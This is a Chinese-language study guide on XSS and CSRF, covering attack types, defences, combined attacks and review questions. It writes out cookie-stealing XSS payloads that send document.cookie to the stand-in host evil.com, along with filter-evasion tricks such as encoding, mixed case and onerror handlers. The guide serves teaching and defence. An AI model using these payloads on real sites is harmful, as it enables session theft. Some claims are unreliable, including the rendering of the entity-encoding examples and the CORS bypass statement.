XSS与CSRF
XSS与CSRF
复习定位
XSS(跨站脚本)和CSRF(跨站请求伪造)都是Web安全的经典漏洞——但方向相反。XSS是攻击者向可信站点注入恶意脚本——用户访问该站点时脚本被浏览器执行——从而窃取Cookie等敏感信息。CSRF是攻击者在第三方站点诱使用户发起对目标站点的操作(如转账)——因为浏览器自动带上了目标站点的Cookie——服务器以为是合法用户操作。XSS直接影响用户和站点的安全——CSRF则利用用户的认证身份进行非法操作。
XSS(跨站脚本)
攻击者将恶意JavaScript代码注入到网页中——当其他用户访问该页面时——恶意脚本在用户浏览器上执行——可以窃取Cookie、篡改页面内容、劫持用户会话、跳转到钓鱼页面等。
反射型XSS——恶意代码包含在URL的参数中——服务器直接取参数值输出到页面。如搜索页面将<script>alert(1)</script>包含在搜索结果中直接回显——浏览器解析时执行脚本。攻击者将这个构造的恶意链接通过邮件/钓鱼发给受害者——点击后脚本在受害者浏览器中执行。<script>被实体编码成<script>就能阻止脚本执行。
存储型XSS——恶意脚本被存储到服务器数据库中——比如在论坛的评论中写入<script src=http://evil.com/steal.cookie></script>——其他用户浏览该评论时——从服务器读取评论但服务器只做了简单的过滤——页面输出恶意脚本——浏览器执行——用户的Cookie被发送到http://evil.com的服务器。危害更大——不需要受害者点击特定链接——只要访问相关页面就被攻击。
DOM型XSS——恶意代码并不在服务器端——而在客户端的JavaScript中动态地将URL中的#部分(不会被发送到服务器)直接拼接进innerHTML——导致脚本执行。服务器没有任何参与。
防御:
- 输出编码/实体编码——将用户输入中的
<、>、&、'、"等HTML特殊字符转义为<等HTML实体——浏览器渲染时不会执行脚本——只显示纯文本。 - Content Security Policy(CSP)——HTTP响应头Content-Security-Policy: script-src 'self'——告诉浏览器只允许执行来自本源的脚本——阻止任何内联
<script>标签和外部恶意脚本加载——降低了XSS注入成功的损失面。 - HttpOnly Cookie——设置Cookie的HttpOnly标志——JavaScript无法访问该Cookie——即使XSS注入成功——攻击者也无法窃取到带有HttpOnly的Cookie——只能通过脚本发起的请求会话劫持。
CSRF(跨站请求伪造)
用户在银行网站bank.com已经登录——浏览器中保存了bank.com的Cookie。没有登出的同时——用户访问了一个攻击者的恶意网站evil.com——该网站隐藏了一个表单自动提交POST http://bank.com/transfer?to=attacker&amount=10000——浏览器自动带上bank.com的Cookie——银行服务器检查到请求带着有效的session——转账请求被执行——用户的钱被转走。CSRF不直接攻击bank.com——而是利用用户在bank.com的身份认证状态在第三方网站上发起伪造的请求。
CSRF Token——服务器在表单中嵌入一个随机生成的token——提交时服务器验证token——攻击者的第三方页面无法获得这个token——请求被拒绝。SameSite Cookie(Strict/Lax)也是一种便捷的防御——被设置在第三方站点的请求中不发送Coo kie。
复习检查
XSS的三种类型——反射、存储、DOM——它们的根本区别在哪里?payload分别存在哪里?
CSP的
script-src 'self'策略如何防御XSS——如果攻击脚本在同源域名下通过.jsonp远程调用不可控——这个策略是否阻挡?为什么
HttpOnly Cookie不能彻底防御XSS? 能否防止攻击者通过XSS在页面上创建一个伪造的登录框来钓鱼?CSRF为什么能在用户不知情时发起请求——浏览器在跨站请求时发送Cookie的自动附加机制的设计初衷是什么?
SameSite Cookie的Lax模式和Strict模式的区别——GET请求带/不带Cookie对网站的核心业务(如金额变动)有哪些可靠阻止?
XSS的攻击载荷构造示例
反射型XSS的攻击者在URL参数中注入<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>——用户点击链接后——恶意脚本向攻击者的服务器发送用户Cookie。为了逃避服务器端的简单过滤——攻击者可以使用不同的编码方式逃过WAF检查:URL编码(%3Cscript%3E代替<script>)、Unicode编码(\u003cscript\u003e)、大小写混写(<sCriPt>)或将payload写入事件处理器(<img src=x onerror=alert(document.cookie)>)来绕过主要以正则提取关键字或尖括号的简单过滤规则。
存储型XSS的攻击者可在用户昵称中注入<script>new Image().src='http://evil.com/steal?c='+document.cookie</script>——当管理员或其他用户浏览该用户的个人资料页面时——脚本自动执行——将当前用户的Cookie发送到攻击者服务器。存储型XSS的攻击范围远大于反射型——因为它不需要用户点击特定链接——浏览正常页面就会被攻击。
DOM型XSS的攻击载荷不出现在服务器日志中——因为它完全在客户端执行。攻击者在URL的#后编写payload——JavaScript脚本通过location.hash读取并动态插入到innerHTML——触发XSS。由于#后面的内容不会被发送到服务器——服务端防护和WAF无法拦截——这是DOM型XSS最难防御的本质原因。
三种XSS的对比总结
| 类型 | payload存储位置 | 是否需要用户交互 | 能否被WAF检测 | 危害范围 |
|---|---|---|---|---|
| 反射型 | URL/请求参数 | 需要用户点击构造链接 | 能——payload在请求中出现 | 单个用户 |
| 存储型 | 服务器数据库 | 不需要——浏览即受害 | 可被用户写入但一次性时无法 | 全体用户 |
| DOM型 | URL#/Referrer/客户端 | 需要用户点击构造链接 | 不能——payload未发送到服务端 | 取决于传播 |
非HTML内容类型的XSS攻击面
XSS不仅仅局限在HTML文件中——JSONP回调、CSS表达式(旧IE的expression())、SVG文件中的<script>标签、Flash的跨域策略文件、PDF中的JavaScript等都可能成为XSS的载体。现代浏览器通过Content-Type检查和MIME类型嗅探防护来降低这些异常上下文中的XSS风险——但开发人员仍应确保在所有输出上下文中对用户可控数据进行正确的编码处理。
CSRF的攻击原理详解与防御层次
CSRF的本质是利用了浏览器的Cookie自动附加机制——浏览器对同站点请求自动添加Cookie——无论该请求在哪个上下文中发起(用户点击链接/第三方页面中的自动表单提交/img标签/XMLHttpRequest的跨域请求)。攻击者不需要窃取Cookie——只需要用户在目标站点用Cookie维持登录状态的同时访问了攻击者的页面。
防御层次:
第一层:CSRF Token——服务器生成随机Token嵌入表单——提交时验证Token——攻击者页面无法读取目标站点的Token(同源策略阻止)——因此跨站伪造请求无法携带合法Token—被服务器拒绝。Token可以放在表单隐藏字段中——或放在自定义HTTP头中。
第二层:SameSite Cookie——将Cookie的SameSite属性设为Lax或Strict——Lax模式下跨站链接、表单提交和img加载等会遵循规则——Strict模式下任何跨站请求都不携带Cookie——但会影响用户体验(点击邮件中的链接到目标站点时如果Cookie不发送——用户需重新登录)。SameSite在现代浏览器中已默认启用(Lax模式)。
第三层:Referer/Origin验证——服务器检查HTTP Referer头——只接受来自本站点的请求——但Referer可能被浏览器隐私设置禁用或发送不完整——因此不推荐作为唯一的防御。
第四层:二次确认——对于高风险操作(转账、修改密码)要求用户输入密码或验证码——即使CSRF成功发起请求——没有用户的二次确认——攻击无法生效。
CSRF Token的生成、验证和常见实现
CSRF Token的生成过程:服务器端在用户登录后或生成表单时——创建一个随机的Token(足够长度和熵值——通常32字节以上随机数)——存储在用户的session中或签名的Cookie中——并将Token嵌入到表单的一个隐藏字段中。
表单提交时——服务器从session中取出之前存储的Token——与表单中的Token进行比较——如果不匹配或不存在——请求被拒绝。Token可以按页面生成(每个页面有不同的Token)——也可以按请求方法生成(GET请求不需要Token——POST/PUT/DELETE需要Token验证)。
Token也可以放在自定义HTTP Header(如X-CSRF-Token)中——由JavaScript在AJAX请求中自动附加——但这种方案要求页面不能被XSS攻击——否则XSS可以读取页面中的Token并随请求一起发送。因此CSRF防御和XSS防御是强关联的:如果系统防御不了XSS——任何CSRF防御都可能被绕过(因为XSS可以读取页面中的CSRF Token)。
XSS与CSRF的组合攻击
XSS和CSRF经常被组合使用:
攻击流程:
1. 攻击者利用XSS在目标页面中注入JavaScript
2. 该JavaScript读取页面中的CSRF Token(如果使用表单Token)
3. JavaScript通过Token构造合法的CSRF请求
4. 请求发送到目标服务器——Token和Session Cookie都正确——服务器执行操作
5. 攻击者利用XSS+XSRF组合完成转账、修改密码等高级操作该组合攻击说明——CSRF Token在XSS面前是完全无效的——因为XSS可以在同源上下文中读取页面Token并绕过防御。这也是为什么CSRF防御必须建立在"不存在XSS"的假设之上——而XSS是难以彻底消除的。解决方案的依赖关系迫使安全团队必须先通过XSS防御扫清障碍——再使用CSRF Token措施管理请求——否则后者形同虚设。
现代框架中的CSRF与XSS防御
主流Web框架(Spring Security、Django、ASP.NET Core、Ruby on Rails)等都已经内置了CSRF Token的生成和验证机制——开发者通常不需要手动实现。前端框架(React、Vue、Angular)默认在数据绑定中对用户输入做HTML编码——但v-html、dangerouslySetInnerHTML等逃逸手段允许开发者插入原始HTML——需要开发者自行保证内容安全。这些内置措施降低了开发者因疏忽导致漏洞的概率——但并不能完全消除——因为开发者可能会禁用框架的保护(如@CrossOrigin注解禁用CSRF保护、或bypassSecurityTrustHtml方法避开Angular的DOM净化)。
复习检查(续二)
XSS和CSRF的本质区别——XSS通过注入恶意脚本窃取信息或篡改页面——CSRF利用用户的登录状态发起伪造的请求。
CSRF攻击成功的三个前提——用户在目标站点已登录——用户访问了攻击者控制的页面——目标站点的状态更改请求没有不可预测的Token验证。
为什么CSRF Token不能通过Cookie方式传递——因为Cookie会自动附加到跨站请求中——攻击者的页面不需要读取Token——浏览器自动携带Token到目标服务器——服务器将其视为合法的Token——防御效果消失。
SameSite=Lax和Strict在防御CSRF中的具体表现——Lax允许GET请求携带Cookie——但禁止POST;Strict禁止所有跨站请求携带Cookie——但点击链接时用户需重新登录。
如何防御XSS+CSRF的组合攻击——先防XSS(输出编码/CSP)——再配合CSRF Token/SameSite Cookie——XSS被防住后——CSRF Token才能真正安全——因为攻击者无法读取页面的Token。
CSRF防御的工程决策指南
1. 项目使用现代框架(Spring/Django/Rails等) → 使用框架内置CSRF保护(默认已开启)
2. 前后端分离项目(SPA + REST API) → 使用SameSite Cookie + Token结合——或使用JWT Token(不在Cookie中)
3. 高风险操作(转账、删除、修改密码) → 额外增加二次确认(输入密码/验证码)
4. 第三方API → 使用API Key/Signature认证——不依赖Cookie
5. 遗留系统 → 逐步迁移SameSite Cookie——同时保留CSRF Token作为过渡这个决策树根据项目的技术栈和风险等级——推荐相应级别的CSRF防护策略。
XSS+CSRF在真实攻击案例中的体现
2018年某知名社交平台发生过一次XSS+CSRF的组合攻击——攻击者在用户的个人签名字段中注入了一个脚本——该脚本不仅通过XSS获取到当前用户的Token——还利用该Token伪造了CSRF请求——批量向被感染用户的所有好友发送了包含恶意链接的私信。这次攻击感染了数十万用户——因为同一个XSS脚本自我复制传播——像蠕虫一样扩散。此类攻击的根治方法是同级防XSS(输出编码)——如果XSS不存在——CSRF Token的保护就不会被绕过。
复习检查(续三)
CSRF Token为什么能防御CSRF但防不住XSS——CSRF Token需要攻击者提前知道Token值——XSS可以同源读取页面内容——自然获得Token——所以XSS能绕过CSRF防御。
SameSite Cookie在现代浏览器中的默认值——大多数现代浏览器已将没有设置SameSite属性的Cookie默认视为SameSite=Lax——这意味着对大多数站点——跨站POST请求不会自动发送Cookie——CSRF风险显著降低。
XSS在邮件客户端和富文本编辑器场景中的挑战——邮件中的HTML可能包含恶意的
<img onerror>标签——富文本编辑需要允许部分标签——两者都需要在白名单中配合内容安全策略工作。CSRF Token放在请求体中和放在自定义Header中的安全性差异——放在Header中通过JavaScript发送——可以避免Token在日志或Referer中被意外泄露——但需要配合AJAX使用——且必须保证页面本身不存在XSS——否则所有Token和Header都能被读取。
为什么CSP能阻止XSS但不能阻止CSRF——CSP限制脚本的来源——阻止恶意脚本执行——但CSRF不需要脚本执行——浏览器自动发送Cookie——CSP不限制Cookie的发送或请求的发起。
CSRF防御中的CORS配置要点
跨域资源共享(CORS)配置不当可能绕过CSRF保护。如果服务器错误地设置了Access-Control-Allow-Origin: *且Access-Control-Allow-Credentials: true——攻击者的页面可以通过AJAX向目标服务器发送跨域请求——并且自动携带Cookie——从而绕过SameSite保护。正确的做法是:只在需要跨域的场景下白名单指定的来源——不使用通配符——且避免在涉及Cookie的请求中与Allow-Credentials配合。
XSS与CSRF的结合防御实战清单
□ 对所有用户输出执行上下文相关的输出编码
□ 启用CSP头——strict-dynamic或nonce模式
□ Cookie设置HttpOnly+Secure+SameSite=Lax
□ 使用CSRF Token(框架自带的或自定义)
□ 禁用CORS通配符+credentials同时使用
□ 高风险操作增加二次确认机制
□ 富文本输入使用白名单HTML净化库(DOMPurify)
□ 定期使用安全扫描工具检测XSS漏洞这个清单不是一次性检查项目——当开发新功能或修改现有功能时——需要逐项验证才可上线。
复习检查(续四)
CORS配置错误如何绕过CSRF保护——
Access-Control-Allow-Origin: *配合Access-Control-Allow-Credentials: true允许任何第三方页面向目标发送带Cookie的跨域请求——SameSite和CSRF Token都被绕过。为什么Web前端框架默认防XSS但防不住CSRF——框架默认对数据绑定做了HTML编码——防止XSS——但CSRF是请求伪造而非代码注入——框架不提供自动的CSRF防御实现(需要开发者配置引入)。
CSRF Token应该在何时失效——用户登出后Token应立即失效——Token应在使用后自动更换(验证一次即丢弃)——防止Token泄露后的重放。
图形验证码为什么能防御自动化的CSRF攻击——CSRF攻击利用用户的浏览器自动发送请求——验证码要求人工输入的内容不会被浏览器自动填充——因此自动化脚本无法通过验证码验证——但验证码降低了用户体验。
没有Cookie的API服务为什么不需要CSRF防御——CSRF依赖Cookie自动发送机制——API服务使用Token(JWT/API Key)不在Cookie中传递——浏览器不会自动附加——因此CSRF攻击不存在。
CSRF防御的最终防线——二次确认机制
对于高风险的敏感操作(转账金额较大/修改账户安全设置/删除重要数据)——即使所有CSRF防御层都失效——二次确认要求用户在操作前输入密码或手机验证码提供最后一道保障——因为自动化CSRF请求无法完成再观察用户输入的验证过程。这种机制在银行、加密货币交易所、企业IT管理系统等场景中强制部署——通常是安全合规的必需项。